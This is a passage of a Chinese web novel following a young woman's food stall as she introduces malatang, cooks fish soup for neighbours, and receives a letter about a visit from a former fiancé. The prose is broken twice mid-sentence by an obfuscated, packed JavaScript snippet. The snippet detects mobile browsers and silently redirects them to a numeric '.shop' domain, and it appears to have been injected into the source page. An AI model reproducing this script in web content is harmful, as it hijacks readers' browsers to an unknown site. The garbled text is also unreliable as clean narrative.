干辣椒、辣酱、冰糖、姜蒜还有一堆香辛料。她一有什么想法,就愿意立刻动手,配方还得调试,盛时云站起来想要立马去灶台边生火,还没将调料碗拿起来,就听到门口传来敲门声。 这个时间应当是菜摊的人来送土豆,往常来时天都黑了,因此出于安全和礼貌,那人每次将土豆送到她家门前,都是敲几下门就走。今天盛时云刚好打算着再多订点菜,生怕人走了,于是撩起裙子一溜小跑,冲到门口。 “大哥稍等一下!”盛时云开门喊人,送菜的汉子已经走了挺远,听到声音回过头来。 “你家今年还有什么种类的菜?”盛时云问。 “姑娘想要啥菜?我们家叶子菜多,还种了几架丝瓜黄瓜。”汉子露出笑容,看着大买卖一般看着盛时云。 “生菜、包菜、萝卜还有冬瓜……”盛时云掰着手指点了几样,“一样少来几斤,叶子菜放不过夜去。每种先十斤,若是卖得好再加。先不急,过几天才要。诶大哥,我买这么多,不便宜点吗?” 汉子挺高兴,默算了价格:“少算着呢。我家菜不贵啦,不算土豆的一共三十七文,你就给三十五文就得了。” “三十五文?我得先来七天的。”盛时云犹豫了一下,出了二百四十五文攥在手里,怎么算怎么不对劲。 “稍等。大哥与我们都是熟人,原来买菜的时候可不是这价钱。”穆遂安不知什么时候来到了盛时云的身后,把钱袋和铜板一起拿过来,晃啷啷的,不像要付钱的意思。 穆遂安个高肩宽,下巴上还划着落下的一道刀痕,即便是因为先前那场伤病,整个人瘦下去不少,英健的体态瞧过去,也能一拳把汉子的脑袋捶开瓢。 汉子咧着嘴僵住了,挠挠脑袋,赶紧掩饰似地弯腰下去:“哎哟,可能是算错了,我再……” “一天的价钱是十七文,七天应当一百一十九文。”穆遂安手指动了几下,准确的数字脱口而出。他从容地在钱袋里数出一百二十文,递给汉子。 卖菜的汉子接了钱:“公子阔气。明日就送,还照之前似地敲门嘞?” “是,辛苦您放原地就行。”盛时云应声,感激地朝穆遂安眨眨眼,好奇道,“怎么多给了一文?” “等七天过了,你还要用他家的菜吗?”穆遂安把钱袋归还到盛时云手里,认真地询问。 “要吧,他家菜比较新鲜,而且能送到家门口也挺方便的。”盛时云明白穆遂安的想法,回应道,“宰熟不宰熟的事情,不是有你帮忙看着呢吗,多一事不如少一事。” “劳烦昀川,帮我费费心呢。”盛时云心情好,有心逗他,想惹穆遂安的嫌,故意夹着嗓子说话,声音软绵绵的,说完自己先笑起来。 穆遂安却半点没笑,可疑地咳嗽几声,不自然地转移了话题:“嗯……那是应该的。新菜品的事情,考虑得怎么样了?” 23. 麻辣烫 摆上麻辣烫已经是一周之后的事。 两人到三仙街的时候,秦二姐依旧同往常一样,早早就来了,在莫秀娘的凉粉摊旁边坐着。盛时云把人喊过来帮忙抬桌子,穆遂安将两口锅支起来,放在推车的旁边,里面注上熬好的汤底,再把海带、萝卜、面筋和鹌鹑蛋等一些难煮的食物放在里面。 鹌鹑蛋是盛时云前阵子买回来、养在院里的鹌鹑下的。那天上集市,没见到鸡崽,却看见有人抱着一群长成了的鹌鹑叫卖。盛时云曾在网红视频里看见过这种小鸟,身量不大,但一养就是一群,极好生长。 她和穆遂安讲完,穆遂安也动了心,直接买下五只,在院子里围了个矮栅栏,把鹌鹑们放进去养。没想到不出三天,五只鹌鹑居然下了将近三十颗蛋! 这下成本就降低了。盛时云对麻辣烫的定价不贵,因为穿串费工费时,古代又没有淀粉丸子可吃,所以所有的食材都是按份分配。青菜和粉丝一文钱一份,鹌鹑蛋两文钱三个,最贵的是鱼丸,四文钱三个。 鱼丸是盛时云将鱼肉剁碎混着淀粉捏的,个头不小,做工麻烦,也赚不出多少钱,所以只准备了小小一盆,只当给大家尝鲜。 “太香了,你天天净整这些好吃的。”莫秀娘拿着把扇子,过来瞧了眼,“一会儿给我盛一碗,我要鱼丸!” “那必然的。”盛时云在两口锅的下面使劲扇着火,抬手擦掉额角滴下来的汗。秦二姐学了几天的手艺吗,现在已经完全可以独当一面,做狼牙土豆的手法十分娴熟,穆遂安给她调好火候,取了块干净巾子,走到盛时云身后。 盛时云手上都是炭黑,腾不出空来。一滴汗滚下来,快要落进眼角,穆遂安轻轻团起巾子,自然地在盛时云的眼睛侧边印了下去。 盛时云借着他的手将巾子印实了点,好让汗珠擦干净:“多谢多谢。” 莫秀娘站在旁边插不上话,一脸和煦的姨母笑,两手一拍朝着穆遂安说:“我那还有一把好扇子,这会去给你拿来,扇扇能凉快些。” 大家都已经熟得不能再熟了,穆遂安面上线条柔和了几分,答应下来:“也好。” 莫秀娘拿来扇子的扇骨是普通木头做的,上面覆着一层软布,简约地点缀着几朵蓝色的小花。这样的扇子在青州城很常见,到了夏天,大街小巷卖扇的小摊更多,样式不一,但是照样好看。 随着火势增大,香煮锅里的汤底逐渐冒出鲜香辛辣的味道,辣椒咕嘟冒泡的开水欢快地翻腾。麻辣烫的香气弥漫在三仙街上,令晨起路过的人们都纷纷转头过来,看云家又推出了什么好吃的。 推车前面已经有了几个排队的顾客,秦二姐用铲子有条不紊地翻炒着土豆块,还能腾出心来跟他们宣传:“您不去尝尝咱家新出的麻辣烫?便宜实惠,那叫一个美!” 本来就有人想要去试吃一下,听说一文钱一份菜,不由得舔了舔嘴唇,拎着狼牙土豆凑到香煮锅面前,问道:“这些菜都是一文吗?” 盛时云搅着汤底脆生生地报了价,汉子的双脚似乎被香气粘在了原地,指着她身后放着的青菜:“我来一份生菜、一份粉丝、两块萝卜,再加份鹌鹑蛋。” “好嘞。”她回身将生菜和粉条拿来放进锅里,莹绿清脆的菜叶在辣汁里舒展,粉条入锅便变得柔韧透明。这两种菜熟得快,在锅里时间长了反倒失去口感,不像萝卜和鹌鹑蛋,越煮越有味。 香煮锅旁摞着几盏白瓷小碗,她端起一只,汤勺一舀,把菜全都捞到碗里,再盛勺辣汤,辣乎乎、香喷喷地递给食客。“前面有醋、麻酱和辣椒,您按需自加。桌椅在这边,可以坐下吃。” 穆遂安守在盛时云身边,伸手收了铜板,给食客拿了筷子。他现在也学得有模有样,嘱咐道:“您慢些入口,小心烫。” “麻辣烫、麻辣烫,必然要烫嘴才好!”汉子十分豪爽,不听劝,举着筷子痛快地嗦了一口粉丝,谁知果然是好烫,他嘶溜嘶溜将粉丝都吞到肚里。这才咂着嘴品尝起其中滋味,辣味咸味中和得刚好,舌尖上不止有烫还麻酥酥的,直叫人欲罢不能。 “果然是云家盛老板的手艺!”汉子肿着嘴唇拍案叫绝,洪亮的声音又引来不少馋得心痒痒的人。香煮锅旁顿时围了不少人,你一眼我一语格外热闹。 “云家又出新品啦?我瞧瞧我瞧瞧!嗬!放了几张桌子,这是越做越大啦。” “好香好香,本来寻思买个卷凉皮就走的,这下又被绊住了。” “哎哟我这会忙着做工呢。盛老板,不会等我中午过来就没了吧!” “我家备菜多着呢,必须等到大姐来呀。”盛时云弯着眼睛笑,手上不停歇地把青菜下锅,又将一碗碗递出去,她利落地回答道,“您且忙去吧,肯定有您的份。” 盛时云做生意,从不在份量多少上计较,一文钱的青菜都得分几口吃完。再加上鱼丸香脆,鹌鹑蛋新鲜软糯,吃了之后人人都觉得自己占了便宜。 所以,摆摊第一天,三仙街来凑热闹的人络绎不绝,不仅桌子被占满了,还有不少人端着碗站着吃。 碗里的吃完了再喝口汤,肚子里熨熨帖帖,麻辣鲜香,正所谓原汤化原食,食客们心满意足,更有年纪不大的小姑娘牵着她娘的手,软声软气地要明天还来。 等到过了午饭的食点,人们都各自回家午休,推车旁的顾客难得少了不少,能让盛时云歇下一口气来。 今日她忙得没空做饭,莫秀娘倒是从家里带了几个菜馍馍。馍馍是用玉米面做的,里面包的是菜肉馅,用油很多,所以香得很。 盛时云和穆遂安,外加秦二姐,一人拿了两个馍馍,坐在一起,吃得满口生香。 “明日不能这么干了,人受不住的。”穆遂安将最后一口馍馍咽下去,指节揉了揉眉骨。他注意到盛时云已经难受地按腰按了很多次,就连吃东西的时候都没什么精神。 秦二姐的脸上也露出疲态,欲言又止。 “嗯……”盛时云吃了一个半的菜馍馍,剩下的半个用油纸重新包好放在桌子上,她撑着下巴发愣地看着日头,“要不这样,咱们分两波买卖。” “上午卖狼牙土豆和卷凉皮,下午卖麻辣烫。这样都能轮的过来,二姐你活计多一点,以后上午可以晚些来,赶得上午饭就行。” 做工之前已经说好的,将麻辣烫的碗筷都交给秦二姐洗涮,三只碗一文钱。这个活不仅可以她自己做,还能外包给别人。方法云云,盛时云一律不管,只要每天麻辣烫开张之前把干净的碗拿到手里便可。 所以上午的活计转给盛时云和穆遂安,煮麻辣烫的任务又改交给秦二姐负责。三个人可以随时互相帮忙,不至于乱了阵脚,也不会累得腰酸背痛。 提议一出,其他两人都说好。盛时云愉快地站起来,拿定主意:“那就这样,散会!” “盛老板……” 盛时云正撑在桌子旁边盘算生意,听到秦二姐唤自己,眼睛一眨回过神来,目光带着疑问看向她。 “盛老板不会担心我偷师吗?”秦二姐能吃苦、肯干活,学习菜式都能很快记住上手。盛时云待人大方和善,做菜又好吃,她自然是想要多学一点菜,好能让自己一直留在云家食摊上干活。 但是前几天,她突然听说成立那家做糖醋鱼极美味的食肆,伙计学艺太精,引起了老板的提防之心,一口气把好几个趁手的伙计全都打发出去了。 她生怕盛时云也像那家老板一样打发自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174251|148147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己,不如先硬着头皮问个清楚。 “偷师?”盛时云讶异地“啧”了一声,旋即明白了秦二姐的意思。她拉近两人的距离,轻轻拍去秦二姐肩上落的碎叶子。她柔浅地弯起唇角:“二姐能学尽管学去,都是自己人,说什么两家话。” 盛时云并不在乎被人模仿了手艺,正因为有人愿意学,美食才能越传越远、越传越久,才能让天底下的人都能品尝到好吃的东西。 一帮人高高兴兴地收拾东西,准备各回各家。盛时云帮着穆遂安把绳子勒紧,忽然又听到有人喊自己的名字,她一回头,冯桃正领着乔乔在路边挥手。 她俩刚从湖边捞鱼回来。自从赵大顺出海务工后,母女俩的日子竟不像先前想得那样难以为继,反而更加逍遥自在。一大一小要么回娘家住两天,要么出去踏青郊游。 乔乔的外婆十分宝贝她的小外孙女,巴不得女儿带着小乔乔在家里住着,好吃好喝地伺候着外孙女,简直要给宠上天。 赵大顺的钱和信来得不勤,租给盛时云的摊位费全都在冯桃手里,故而不愁吃穿,家务又少打理,除了一时半刻想念起自家夫君,垂泪几滴,大多数时候心情也极好。 “时云小姨!”乔乔这两个月又长了个子,小姑娘的脸上旋起两个灵动的酒窝,乖乖地往盛时云怀里扑。两家住对门,早就混熟了,她眨着眼抬起头,咧嘴笑了,“穆姨父!” 盛时云:? 穆遂安:! 一旁的莫秀娘看热闹不嫌事大:“——扑哧!” 毕竟是自家女儿喊错称呼,闹了个乌龙,冯桃生生把唇边的笑忍住了,点了点乔乔的头:“你这孩子,别乱叫,给穆公子道歉。” “哎哟!”乔乔一手抱紧了盛时云的颈子,一手不服地揉了揉被戳疼的地方,对着冯桃做鬼脸。她脑袋聪明得像个精豆子,眼睛转了转,注意到穆遂安,舒服地靠在盛时云怀里,小声道:“他耳朵都红了。” “嘘,别说了。那应该叫什么,小叔?”盛时云只当穆遂安是被小孩戏弄了脸皮薄,乐不可支地给冯桃使眼色打圆场。 “什么呀,就叫小姨夫!叫小叔多显老呀,哈哈哈!”莫秀娘往后仰身,秦二姐在她身后也不自觉露出笑意,觉得自己心态也跟着年轻了不少。 莫秀娘笑过了,一侧脸瞧见冯桃脚边放着的小桶,瞪大了眼睛,“嗬,怎么抓了这么多鱼!” 乔乔不知道大人们在笑什么,从盛时云怀里钻出来,站到小桶边,骄傲得像只小孔雀:“嗯!都是我抓的!” “全是你捉的?一共几条鱼?”听到众人转移了注意力,自始至终没有反驳的穆遂安连忙上前两步,他耳廓的红还没消下去,总觉得动作里带了几分刻意。 “一二三……七八……”乔乔掰着手指,努力算数,“九条!” “这么多?”盛时云也挺惊讶。桶里全是一扎长的小鲫鱼,炖汤吃最是鲜美。灰黑的鱼老实地卧在桶里,头挨着头,尾挨着尾,不时吐出几串泡泡。 “你要是爱吃就拿走,反正也是小孩儿捞着玩的,正犯愁怎么吃呢。”冯桃似乎看透了盛时云的心思,她先前的日子虽然过得精打细算,但现在竟逐渐放开了手脚,大大方方地把桶递到穆遂安手里,一扬下巴,“拿着。” “这不好,做大人的不能夺乔乔所爱。”穆遂安推开木桶,去看盛时云。后者脸上也颇有些为难,她捻着一丝头发,眨眨眼解围道:“要不这样,咱们借冯阿姐的鱼,去我家喝顿鱼汤怎么样?” 乔乔看看左边,又看看右边,一听到有鱼汤喝,高兴地拍起手。 她拎起木桶,捏了捏乔乔的脸蛋,信誓旦旦:“乔乔放心,我这手艺必不会糟蹋了你的鱼!” 24. 鲫鱼豆腐汤 冷清的竹竿巷被稚童的欢笑打破屏障,随后是姑娘们凑在一起叽叽喳喳的声音。穆遂安推着推车走在前面,先打开自家院门把福团放了出来,小狗摇着尾巴跑出来,朝着莫秀娘身后的盛时云奔去,发出激动的哼哼声。 “福团!”乔乔从冯桃怀里跳下来,摸了摸福团的头。 商量聚餐喝鱼汤的时候,冯桃把秦二姐也一同叫了来。她早就听说盛时云家养了条小狗,听描述还以为是狗崽子,没想到这么长了这么大,不禁“啊哟”一声道:“半大的狗都能带去摊上玩了。” “再过两天就带去,现在手里的活没理顺,顾不得它。”盛时云进屋把自制的果脯肉脯拿出来,又把瓜子花生递给穆遂安,“你们先坐,我去把鱼炖上。” 她到灶台边生火,穆遂安自然地接过招待客人的任务,摆好椅子和零嘴,让冯桃等人坐下。 “你家冬瓜糖怎么不卖了,前阵子还想买点,谁知道没赶上。”冯桃把一块果脯放在嘴里,酸酸糯糯的,生津止渴。她不常在家,因此错过了卖冬瓜糖的最后时间。 “现下挑不着好冬瓜,熬糖要看火候,我没学会,一时就做不了那么多。”穆遂安惭愧地笑笑,他人虽坐在院里,心却放在厨房上,频频望向灶台旁边的那桶鱼。 “也是,一天的买卖都忙不完,之前伏念姑娘一走,我瞧着时云妹子都累憔悴了,还好叫你来替班。诶,我听说……”她是自来熟,把话题又转向了莫秀娘,聊得昏天黑地。 穆遂安手指在桌子的棱角上摸了摸,又回头瞧了一眼,站起来往盛时云身边靠去:“我先把鱼收拾出来?”他问着,已经上手将一条鲫鱼摸了出来。 “好,我也一起。”盛时云也从桶里摸上一条鱼来,鲫鱼个头不大,但扭身甩尾力大无穷。她虽然厨艺了得,但对于杀生一事还是不忍心。 还没寻思完,手中的鱼就被穆遂安接了过来。 他身边菜案上已经放着了两条剖开腹部的鲫鱼。他小心不让指尖的血迹蹭在盛时云的袖上,手起刀落,九条鱼全都乖乖躺板板。 盛时云惊呼了一声,极有干劲地挽起袖子、操刀刮鳞,穆遂安则着手清理内脏,舀水过来把血迹洗去。 处理生鱼的空档,盛时云又把路边买来的豆腐切成小块,几根香葱打结,另外几根切成葱花备用。 熬汤前要把鱼煎一遍,不仅为了去腥,更为了保持鲫鱼的完整度。她用姜片把锅擦了一遍,这样能够防止鱼皮粘锅。 灶台的锅大,一次能煎四条鱼,热油碰到鲫鱼身上的水分,顿时如倒了一盒摔炮进去,噼啪作响。 油花乱溅,就连穆遂安都侧目望向锅里皱起了眉,盛时云却不动声色地用锅铲将鱼身挨个翻过去。 煎过一面的鱼皮金黄,散出诱人的焦香。四条鱼煎好,盛时云又把另外五条小些的鲫鱼放进锅里。饶是她习惯了飞溅的热油,也不免微蹙起眉,尽可能地躲闪。 要是有吸水纸巾就好了,能把鱼身上的水吸一吸。 “昀川,帮我烧一壶开水。”盛时云耐心地将鱼翻面,根本没有注意到穆遂安停顿了一瞬的动作,以及微妙勾起的嘴角。 “稍等。” 煎好鱼,盛时云扬进姜片,跟鲫鱼一起,小火炒香。穆遂安拎着水壶,把开水注入锅内,水线稍微没过鲫鱼。再把葱结放在汤里,盖盖焖煮。 灶台外都能听到鱼汤的咕噜声,鲜味溢了出来,闻到鱼味的福团从乔乔怀里脱身,边哼哼边蹭上盛时云的脚腕。 冯桃正跟秦二姐给乔乔喂肉脯,闻到香味忍不住回过头去,眼珠子都要掉到盛时云身上:“这么香,你的手到底是不是肉长的?” 秦二姐也笑:“不是肉长的,那就是仙女啊。” 莫秀娘嗑着瓜子:“哪吒也不是肉长的。” “莫秀娘你说我坏话,我都听到了哦。”盛时云转过身跺跺脚,故作生气地虚张声势,“罚你今天少喝一碗汤。” “哎哟,我错了我错了。”莫秀娘调笑着,“惩罚太大,我肚子都叫了。” 她看见盛时云两手中间又搓上了个面团,恰巧穆遂安拿着一壶温水路过,莫秀娘睁圆了眼:“还做什么?” “酱香饼。” 又是个没听过的玩意。其他两人听到了也好奇地转过头去,秦二姐甚至站起来站到盛时云的身边,准备观摩观摩。 面团在盛时云手心下十分听话,跟着她的节奏被揉圆按扁,面水结合,最终变得柔软光滑,弹性十足。 揉好的面放在一旁醒着。盛时云端起一个小碗,到调料盒边把里面的调料粉挨个拨到碗里,再加一勺黄豆酱。和入半碗水搅匀。 “穆遂安,你帮我切点葱姜和葱头末吧。切的时候躲着点,熏到眼睛会流眼泪。”盛时云把热油浇在面粉上,筷子搅拌几下,混成油酥。 “我来嘛,这么个好看的男人怎么就洗手作羹汤了。”秦二姐好心,本来寻思着自己在别人家吃饭,不能没点眼力劲。刚要接过菜刀,就被穆遂安轻轻躲过。 他躲开的动作不快,轻飘飘的,致使秦二姐还没反应过来,就听穆遂安道:“我习惯做这些,切出来能知道她要多少。” 盛时云没接话,转眼间已经把面团铺开擀片,上面抹上油酥反复折叠,最终擀成一张又薄又圆的大饼。穆遂安的刀也快,火速切完了菜末,倒进锅里和料汁一起炒。 炒好的酱汁放在一边,盛时云腾出手看了一眼汤,奶白奶白的鱼汤热气腾腾,她的肚子也不争气地咕噜咕噜响起来。 赶紧烙饼吧。把薄饼放到另一口锅里,抽出几根柴,饼皮随着油热鼓起气泡,盛时云一边翻面一边把酱料刷在上面,出锅把酱香饼切成三角,再摞在一起。 饼皮酥脆,酱色油亮,光是看看就叫人口水直流。 “吃饭喽!”盛时云端着盘子兴致勃勃地上菜,引得坐在桌前的几人,外加小乔乔,全都期待满满。她嘴里还咬着一角酱香饼,左右一瞧,忽然发现少了一个人,皱着眉含糊道,“冯阿姐呢?” “刚才门口有人送信,她去拿了。”莫秀娘也不干坐着,捧着碗去灶台边盛鱼汤,“盛时云,你别偷吃。” “厨子不偷,五谷不收。”盛时云得意地晃着脑袋,振振有词,她把盘子放在桌上,这才有手来拿口中叼着的饼,“你说今天伏念会不会来信?” 日子算着差不多了,离上次来信差不多又过了将近一个月。她没空往驿站跑,正巧有个驿站的小哥是云家食摊的老主顾,聊天混熟了之后,他答应连带着赵大顺的信一同包送到竹竿巷。 一桌子人忙忙活活地往碗里盛汤。穆遂安把拌好的狗食放到桌子旁,福团高高兴兴开吃,呼噜呼噜的声音活像只小猪。 “妹子,你的信。”冯桃大咧咧地进门,把两封信往盛时云怀里一塞,又在家里拿了好几种水果递给秦二姐,“你们吃你们吃。” 鱼汤里飘着翠色的香菜,鱼肉雪白,混入汤中几不可见。喝进一勺,顿时鲜得人舌尖直颤巍,暖呼呼地淌进胃里,再咬一口酱香饼,又酥又香,忍不住再吃下一口。 院里没有一人说话,全都埋头吃饭,好不尽兴。就连乔乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192181|148147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都乖巧地坐在小凳子上,一口接一口地喝汤。 盛时云晚上吃得少,肚子里留了三分位置,把冯桃递来的桃子切了一半,嘴馋地一咬。 脆的,好甜! 古代的桃子都是有机好桃,个大皮红,咬起来咔嚓咔嚓,清甜可口。不一会儿,赛脸大的半个桃就被盛时云吃没了多半。 “我先看看伏念的信。”她用巾子擦了擦嘴角,点起烛火挪近了些,一手拿桃一手拿信,舒服地靠在墙檐下,一目十行地一扫。 伏念自从从衡阳去京城进货,就没再离开皇帝脚下。 最热闹的地方,自然有最热闹的趣闻,什么北郡侯被靖崇帝流放乡下啦,什么三皇子回京大张旗鼓啦,谁家的小姐私奔啦,谁家的少爷去香楼里面偷逛结果遇到他老子啦…… 盛时云正瞧得咧嘴直笑,直到看到一个熟悉的名字时,忽然睁大了眼睛。 “……诶?欸欸!” 盛时云坐直身子愣了半天,又怀疑地举起信纸,在烛火底下逐字逐句地反复看了几遍,满脸不可置信。 注意到其他人都往自己的方向看过来时,她这才绷住小脸,努力让自己表情自然一些,只是刚才的笑容一收,显得她无精打采的,整个人都像打蔫了一样软软地重新靠了回去。 那话怎么说的来着,活人微死。 “怎么了?”莫秀娘正在剔鱼刺,漫不经心地问。 “噢,伏念说她过几天又要路过青州,顺便来我家住两天。”天黑得差不多了,几乎没人看出盛时云微蹙的眉头,听到她轻快的语调,都没把她刚才的惊呼放在心上。 “哎哟真好,等伏姑娘来了,到时候咱们再攒一个局,下次我来掌勺!”冯桃手臂一挥,十分潇洒,她搂过乔乔,“伏念小姨要来了,高不高兴?” 秦二姐也听说过伏念的名字,转过头与莫秀娘笑道:“之前你和我说过伏姑娘是不是?这下我可要见见这个一凳子把钱壮拍晕的女豪杰。” “不仅呢,穆公子是伏念的表兄。穆公子,伏念来玩,你高兴吧?” 只有穆遂安察觉到了盛时云不对劲的地方,他目力远超常人,自然能看出盛时云表情中的困扰。几个女人正在笑闹,被按上“表兄”帽子的穆遂安应声道:“嗯……高兴高兴。” 他拿着一捧樱桃,走到盛时云身边,问道:“怎么了?” “真的没什么。”盛时云犹豫片刻,把信递到穆遂安手里,接过樱桃,“喏,还有同行人。不过那个人是个贵族公子,我不、不认识,也不知道怎么相处,就是怕自己认生,招待不好他们。” 她确实不太高兴,嘟囔了一句:“好端端的,带人做什么。” 一听说是个贵族公子,穆遂安的额角有些痛。伏姑娘从京城过来,带的必然是落户京城的那几家世族子弟,都是与自己打过照面的。 他守在这里,并不担心来人狂横,反倒是怕来个傻子。 譬如柳家二郎、黄家三爷、还有谢明智那个扶不上墙的孙子…… 要是刚下马车,一嗓子把自己的身份吼出来,就难收场了。更何况,谢明智他孙子还好像跟面前这位有个未竟的婚约。 穆遂安心中警铃大作,状似淡定地接过信纸,先宽慰道:“能尽到地主之谊便好……嗯?” 他深眉紧锁,兀自顿住了,眼前略有些发黑。 怕啥来啥。 信纸上字迹张扬,但无论如何也不难认出,一顿洋洋洒洒的家常话后,缀着一个穆遂安熟悉得不能再熟悉的名字—— 谢府幼子,谢晖。 25. 宫保鸡丁 “嗯?”盛时云抬眼,她扶着墙壁探手,将信纸从穆遂安指尖扯出来,愁容满面地揉了揉眼角,“没什么,就是挺好奇他们两个怎么会凑到一起。”明明上次还打得鸡飞狗跳,现在居然要一起来青州了。 伏念做事有分寸,过了懵怔之后,盛时云没有多想,是真的奇怪那两人之间又发生了什么。只是穆遂安的脸色不太好看,盛时云自然参不透他心中所思,以为他在为自己担心,伸手拍拍穆遂安的肩膀:“没事。” 她将信纸折好放在怀里,正巧秦二姐也吃饱了饭,主动站起来要收拾碗筷。盛时云过去拦她,被秦二姐挡开:“盛老板你忙了一晚上,这点小事就我来吧,秀娘和桃儿还说一起呢。” “你等会儿啊,一会儿帮我把顺子的信念了。” 几个女人里,冯桃和秦二姐一个字也认不得,莫秀娘则能写出自己的名字,艰巨的任务落在盛时云肩上,她坐到板凳上,把乔乔揽在怀里,爱不释手:“果脯好不好吃,小姨给你装回家点好不好?” “好呀好呀,我要桃子的!” 冷清的小院里热闹翻了天。穆遂安还是不能久站,眉眼染着青州夜中的阴翳,坐在廊前,干脆掐着一根柳条百无聊赖地逗狗玩。 谢晖此人心不在庙堂,爱入俗流,根本不像外面传得那样一无是处。由他经手过的铺子和营生,经常能够扭亏应增。就算不懂行的人见了那些账本,也得赞叹一句这位谢氏公子在行商中的头脑和手段。 盛时云的梦想就是开座酒楼,与谢晖走的道路不谋而合,若两人相见恨晚…… 穆遂安想起长街初见那日,谢明智曾经跟他提了一嘴二殿下与谢晖的婚约。冷霜般的暗芒在他眼底一闪而过。好一个求之难得!穆遂安怒从心起,愠然磨了磨牙。 * 伏念和谢晖来的那天。盛时云没出摊,在家备了一大堆好菜好肉,早早地拽着穆遂安往竹竿巷口走去等人。 穆遂安一连几天都蔫头耷脑的,怎么看怎么像一只淋了雨的大狗。盛时云给他递了一颗煲得极为入味的鹌鹑蛋,心情不错地哄道:“笑一笑呀,说起来,当初还是伏念和我一起救的你呢。” 下午略有微风,暖暖的很舒适。来青州几个月,盛时云长胖了些,自在地穿了件藕荷色的襦裙,柔软的色泽与天气恰好融合,衬得她珠辉玉丽,素淡雅致却叫人移不开眼。 穆遂安见她这样好看,心底莫名涌上一股慌张。就连漠北杀敌都不会出现的情感,竟在这时将他打得手足无措起来。 远处的土路滚滚沙尘,两辆马车先后出现在盛时云的视线里。谢晖好歹也是谢家的子孙,本以为乘的马车也要金碧辉煌,没想到竟平常朴素到了极点,没有一点公子的架子。 穆遂安身姿颀长地立在不远处。他心虽不喜,但面上并不表现出来,仪态从容不迫。 靛蓝的帘子一掀,伏念俏皮地探头,一见到盛时云便笑开了花,咋呼地撒娇道:“时云!我可想死你了!” 盛时云眯起眼睛,假装威胁地揪住伏念的领子,把人从自己身上拎下来,趁着谢晖还没下来,急忙地小声蛐蛐:“把他带来干嘛,你知道我俩什么关系吧?” 伏念板整站好,心虚地挠挠头:“未、未婚夫妻?那不是没成吗!”她双手合十,拜了拜,“好时云,我一会儿再跟你解释。” 谢晖先前与盛时云有婚约,那也是靖崇帝乱点鸳鸯谱。他俩没见过一次面,以至于盛时云瞧见他清雅含笑的模样,着实惊了一惊。 “喏,这是我新交的朋友,京城谢府的少爷,谢晖。谢晖,这是阿云。”伏念特意隐去了盛时云的全名,以免被谢晖察觉。盛时云笑着行了个礼,拿出生意人特有的热络,招呼道:“谢公子难得一同来青州,不必拘束,想吃什么尽与我说。” “吃人饭,随人便。阿云姑娘有事也不必含糊,谢某能帮尽帮。”谢晖也彬彬有礼地回应,一举一动十分自然。 “还有……”伏念踮起脚尖找了一圈,目光落在冷立在一旁的穆遂安身上,“那位!是我们俩之前救的村夫,来时与你说过的吧。” “说过说过。”谢晖应着,翘首一瞧,人先愣了,眨巴着眼睛半天没反应过来,缓过神时人都凉了半截,尴尬地舔舔唇。 这他娘的不是北郡侯吗? 朝廷上的地位跟自己爷爷平齐,连他爹见了都得喊一声侯爷。 咋跑这来了? 想起伏念对他的称号,谢晖咬着腮肉,拼命让自己别笑出来——村夫俗子穆遂安啊,这丫头胆子真大。即便内心惊涛骇浪,他也毫不显山露水,冷静地“噢”了一声,小步上前,一副文弱书生的模样:“久仰久仰,敢问兄弟尊姓大名?” 穆遂安没有半点上前的意思。脸上挂着一副“少跟爷装”的表情,礼节性地微微勾了勾唇角:“穆遂安。”这三个字像是从牙缝中挤出来的,带着阴恻恻的压迫感,让谢晖暗自打了个冷颤。 他缩了缩脖子,火速回想自己往日与北郡侯府的过节。 几个月之前……他爷爷好像和北郡侯因为胡人的事儿吵起来了,那也干不着自己的事啊。谢晖的视线落在穆遂安的腿上,忽然“诶”了一声,再抬头,又挨了一记眼刀。 他彻底不吱声了,硬着头皮赔笑道:“我是谢晖,久闻公子大名啊!” 穆遂安冷眼将谢晖打量了个遍,端的是岳峙渊渟,心底的思量却格外活跃:脸没自己好看,身材没自己好,连皮肤也没自己白。 很好。 危机感消除了一小半。 他俩之间的微妙气氛并没有被两个姑娘察觉。盛时云捏着她胳膊上面的肉正“严刑逼供”,伏念捂着嘴摇头不说,笑嘻嘻地弯着腰跑到谢晖身后,眨了眨眼:“好阿云,放过我吧。” 谢晖伸臂一拦,转头面对盛时云微笑,不动声色地转移了话题:“阿云姑娘,听说你家养了只小狗。我是爱狗之人,能不能见见?” “可以啊。走吧,我在家备了好多吃的,给你们接风洗尘!”盛时云不是认生的人,放过了躲在谢晖身边的伏念,挥了挥拳头往前引路,十分高兴。 “顺子哥出海了,现在家里只有冯阿姐跟乔乔。欸,你们之前是同一天出青州的吗?”盛时云对伏念回衡阳的记忆有点模糊,一边细想一边把院门打开。 “好像不是吧,忘记了忘记了……哎哟我们福团长这么大啦!” 院门刚闪出一道缝,里面就窜出了一道白色的虚影,带着小狗特有的味道,结结实实地扑在伏念身上,兴高采烈地摇着尾巴直哼唧,显然一直记得她。 “公子先进屋吧,随便坐。” 谢晖提着两人的行李,腾不出手来摸摸福团脑袋上的毛毛,被盛时云叫进去,把行李暂时撂在了院外的凳子上。 福团是个人来疯,没有一点看家的自觉。它看到谢晖也很高兴,屁颠屁颠地跑过去,扭着身子翻起肚皮叫他挠,舔了他一手的口水,逗得伏念哈哈大笑。 